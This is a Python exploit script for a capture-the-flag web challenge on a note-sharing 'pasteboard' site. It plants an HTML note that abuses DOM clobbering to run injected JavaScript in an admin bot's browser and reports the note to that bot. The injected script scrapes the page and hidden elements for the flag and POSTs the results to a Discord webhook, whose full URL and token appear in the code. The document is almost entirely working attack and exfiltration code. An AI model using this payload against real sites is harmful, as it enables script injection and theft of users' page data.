import requests
import time

REMOTE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1459424345695715369/Gnx874Rcb7-ZXqQ6VDy-M_nSB-Su9R8KHIkcyj890gv1e60djv89CJbCkyRi-QPc-HvH"

# Check <template> tags and hidden elements
payload = """
setTimeout(() => {
  const results = [];
  
  // Check <template> elements
  const templates = document.querySelectorAll('template');
  results.push(`Templates: ${templates.length}`);
  templates.forEach((t, i) => {
    const content = t.textContent || t.innerHTML;
    results.push(`Template ${i} (${t.id}): ${content.substring(0, 300)}`);
    
    // Check for flag in template content
    if (content.includes('uoftctf')) {
      results.push(`🎯 FLAG IN TEMPLATE ${i}: ${content}`);
    }
  });
  
  // Check all hidden elements
  const hidden = document.querySelectorAll('[style*="display:none"], [hidden], [type="hidden"]');
  results.push(`Hidden elements: ${hidden.length}`);
  hidden.forEach((h, i) => {
    const val = h.value || h.textContent || h.innerHTML;
    if (val && val.includes('uoftctf')) {
      results.push(`🎯 FLAG IN HIDDEN ${i}: ${val}`);
    }
  });
  
  // Raw HTML search around 'uoftctf'
  const html = document.documentElement.outerHTML;
  const idx = html.indexOf('uoftctf');
  if (idx !== -1) {
    results.push(`Index: ${idx}, Context: ${html.substring(idx-50, idx+100)}`);
  }
  
  fetch('DISCORD_WEBHOOK', {
    method: 'POST',
    headers: {'Content-Type':'application/json'},
    body: JSON.stringify({content: results.join('\\n').substring(0, 1900)})
  });
}, 2000);
""".replace('DISCORD_WEBHOOK', DISCORD_WEBHOOK)

html_content = f"""
<form id="errorReporter">
  <input name="path" value="data:text/javascript,{payload}" />
</form>
<img id="renderConfig" src="x" onerror="window.lastRenderError='x';throw new Error()" />
"""

print("[*] Creating paste to check templates and hidden elements...")
resp = requests.post(f"{REMOTE_URL}/note/new", data={"body": html_content}, allow_redirects=False)
if resp.status_code == 302:
    note_url = resp.headers['Location']
    print(f"[+] Paste created: {REMOTE_URL}{note_url}")
    
    print("[*] Reporting to bot...")
    report_resp = requests.post(f"{REMOTE_URL}/report", data={"url": note_url})
    print(f"[+] Reported! Check Discord in 30-35 seconds")
else:
    print(f"[-] Failed: {resp.status_code}")
